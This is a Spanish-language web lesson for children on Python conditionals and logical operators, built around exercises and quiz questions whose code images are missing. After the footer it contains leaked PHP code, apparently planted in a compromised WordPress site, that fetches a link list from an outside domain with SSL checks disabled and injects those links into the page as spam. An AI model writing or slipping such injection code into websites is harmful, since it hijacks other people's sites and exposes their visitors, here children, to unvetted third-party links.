Be Maker

Loading...

Be Maker

Programación con Python y EduBlocks

LECCIÓN 03 – ¡Tomando Decisiones con la Computadora!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Hola, exploradores de la programación!

 

💡¿Sabías que los videojuegos, los robots y las aplicaciones toman decisiones todo el tiempo? En esta lección, aprenderemos a programar decisiones en Python con comparaciones y condicionales.

🚀 3.1 Operadores Relacionales: Comparando Valores

💡 Los operadores relacionales comparan dos valores y responden con "Verdadero" o "Falso".

📌 Tabla de operadores relacionales:

🧪 Experimento 01: Comparaciones

04

🔬 Explicación:

Observamos que en la pantalla se muestra el mensaje True, que significa que la comparación es verdadera, o sea que 10 si es mayor a 5.

🚀 3.2 Condicionales: Si Esto Pasa, Haz Esto

💡 Un condicional "if" le dice a la computadora: "Si esta condición es verdadera, haz estas instrucciones".
robot-if

🔎 Ejemplo:

☔ Si llueve, llevamos paraguas. 

🎁 Si es tu cumpleaños, te dan regalos.

🧪 Experimento 02: Decisiones en la Vida Real

1️⃣ Escribe en un papel dos acciones:

moneda

🔬 Explicación:

Este experimento representa cómo las computadoras toman decisiones basadas en condiciones. En Python, podemos hacer lo mismo con los bloques if, else y elif.

🛸 Proyecto 1: Jugar con Legos

 📌 ¿Qué pasó?

Si la condición es verdadera (edad es mayor o igual a 6), el programa muestra el mensaje: "Puedes jugar con legos". ¿Qué pasaría si cambias el valor de edad a 4?

🛸 Proyecto 2: Día Lluvioso

 📌 ¿Qué pasó?

Si la condición es verdadera (respuesta es igual a "si"), el programa muestra el mensaje: "Lleva un paraguas". ¿Qué pasaría si cambias la respuesta a no?

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Construye un programa que diga "Estás en la escuela" si la edad del usuario es menor o igual a 18.

💻 Resultado:

🚀 3.3 Operadores Lógicos: Combinando Condiciones

💡 Los operadores lógicos nos ayudan a combinar condiciones.

🛸 Proyecto 3: La Montaña Rusa

 📌 ¿Qué pasó?

Pregunta si eres mayor de 13 años y si contamos con una entrada, en caso de cumplir ambas condiciones nos muestra el mensaje: Puedes subir a la montaña rusa.

🛸 Proyecto 4: ¿Te gustan las mascotas?

 📌 ¿Qué pasó?

Vimos en la pantalla el mensaje ¡Eres un amante de los animales!, siempre y cuando escribamos en la respuesta perro o gato.

🛠️ Desafío 2: Demuestra lo Aprendido

➡️ Un dragón te dejará pasar si tienes una espada o un escudo. Escribe un programa que pregunte si tienes una espada o un escudo y diga si puedes pasar.

💻 Resultado:

🚀 3.4 Condicionales If/Else: Dos Opciones

💡 Con else, podemos decirle al programa qué hacer si la condición dentro de if es falsa.

01

🛸 Proyecto 5: ¿Hace Calor?

 📌 ¿Qué pasó?

Dependiendo de la respuesta nos muestra un mensaje: ¡Hace calor!, si la temperatura es mayor a 21 grados o ¡Hace frío!, sí la temperatura no es mayor a 21 grados.

🚀 3.5 Condicionales If/Elif/Else: Más Opciones

💡 ¿Qué pasa si hay más de dos opciones? Podemos usar elif (que significa "si no, prueba esto").
02

🛸 Proyecto 6: ¿Cómo está el Clima?

 📌 ¿Qué pasó?

Este código tiene mayor control sobre la temperatura, eso significa que ahora tenemos 3 opciones o mensajes que se mostrarán de acuerdo a la temperatura.

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ ¡Crea tu Propio Juego de Adivinanzas! Guarda un número secreto, por ejemplo el 4.

1️⃣ El usuario piensa y escribe  un número para adivinar el número secreto.

2️⃣ Ejemplo, si el usuario puso 5, la computadora debe mostrar: El número secreto es menor.

3️⃣ Si el usuario puso 10, la computadora debe mostrar: El número secreto es menor.

4️⃣ Si el usuario puso 4, la computadora debe mostrar: Ganaste! Ese es el número secreto.

💻 Resultado:

🎯 Resumen de la Lección 03

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: Verdadero o Falso

1️⃣ "if" sirve para tomar decisiones.
2️⃣ "if" solo funciona con números.
3️⃣ Las instrucciones dentro de "if" se ejecutan solo si la condición es verdadera.

🔥 Pregunta 02: Comprueba

1️⃣ Qué pasaría si hace el siguiente código. ¿La comparación es verdadera o falsa?

💻 Programa en tu Computadora

🔥 Reto 01:

Crea un programa que diga "Es de día" si el usuario escribe "mañana"

💻 Resultado:

🔥 Reto 02:

Haz un programa que pregunte si te gustan los helados y, si es verdad, diga "A mí también"

💻 Resultado:

🔥 Reto 03:

Pregunta la temperatura y muestra "Hace frío" si es menor a 15°C

💻 Resultado:

🔥 Reto 04:

Crea un programa que pida un número y diga si es mayor que 10.

💻 Resultado:

🔥 Reto 05:

Pide la edad y di si puede o no puede entrar a una sección de juegos de niños pequeños (máximo 6 años)

💻 Resultado:

🔥 Reto 06:

Crea un programa que compare dos números y diga si son iguales o diferentes

💻 Resultado:

🔥 Reto 07:

Crea un programa que solo diga "Hola amigo" si el usuario ingresa "hola" o "hey"

💻 Resultado:

🔥 Reto 08:

Haz un programa que pregunte si tienes hambre y sed, y diga "Ve a comer y beber algo"

💻 Resultado:

🔥 Reto 09:

Pide un color del semáforo y si es "rojo", muestra "Detente", si es "amarillo", muestra "Cuidado", si es "verde", muestra "Avance" y si es otro color, muestra "Error"

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Experiencia💰

Un mago te pide elegir un número entre 1 y 3. Dependiendo del número, te da un hechizo diferente:

1️⃣ = Hechizo de fuego

2️⃣ = hechizo de agua

3️⃣ = hechizo de luz

Escribe un programa que pida un número y diga qué hechizo obtienes

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }